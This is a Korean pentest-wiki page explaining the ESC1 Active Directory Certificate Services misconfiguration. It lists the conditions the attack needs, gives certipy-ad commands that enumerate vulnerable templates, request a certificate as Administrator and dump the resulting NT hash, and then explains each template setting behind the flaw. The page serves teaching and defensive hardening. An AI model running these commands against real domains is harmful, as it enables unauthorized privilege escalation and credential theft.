> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/active-directory/adcs/esc1.md).

# ESC1

ESC1은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.

| 속성                             | 값                      |
| ------------------------------ | ---------------------- |
| Enrollee Supplies Subject      | True                   |
| Requires Manager Approval      | False                  |
| Authorized Signatures Required | 0                      |
| Enrollment Rights              | 공격자가 컨트롤 가능한 객체 이하의 권한 |

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># 템플릿을 통한 인증서 발급
</strong>certipy-ad req -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -ca '&#x3C;ca-name>' -template '&#x3C;template-name>' -upn Administrator -target '&#x3C;ca-fqdn>' -key-size 4096 -sid '&#x3C;sid>'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## Root Cause

#### **Enrollee Supplies Subject**

이 속성을 활성화하면 인증서를 요청하는 주체는 요청 주체의 이름을 변경할 수 있습니다.

<figure><img src="/files/2Z6WQce9B2fgb51q2j1N" alt=""><figcaption><p>Enrollee Supplies Subject</p></figcaption></figure>

#### **Enrollment Rights**

이 속성은 템플릿을 통해 인증서를 요청할 수 있는 권한이며 특정 유저(예 : 인증서 멤버)에게 국한하여 할당될 수 있습니다. 때문에 어떤 유저 계정을 탈취했냐에 따라 활용 가능한 ESC 취약점이 달라집니다.

<figure><img src="/files/fqxNizQqUwxy9ehxWhDq" alt=""><figcaption><p>Enrollment Rights</p></figcaption></figure>

#### **Requires Manager Approval & Authorized Signatures Required**

<figure><img src="/files/jtJjDRGt25FEtFdEeAcE" alt=""><figcaption></figcaption></figure>

Requires Manager approval 속성이 체크되어 있을 땐, 클라이언트가 인증서 요청 시 관리자가 이를 허가해야만 발급되는 절차입니다. 속성에 입력된 값만큼 서명이 요구되며 기본값은 0입니다.

{% hint style="info" %}
This number of authorized signatures는 10을 초과하더라도 실제론 10개의 서명만을 요구하지만, 현실적으로 보기 드물며 1로 설정하는 경우가 많습니다.
{% endhint %}

## References

{% file src="/files/HX8Ch8gSkTdGd2TeB3BG" %}

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}
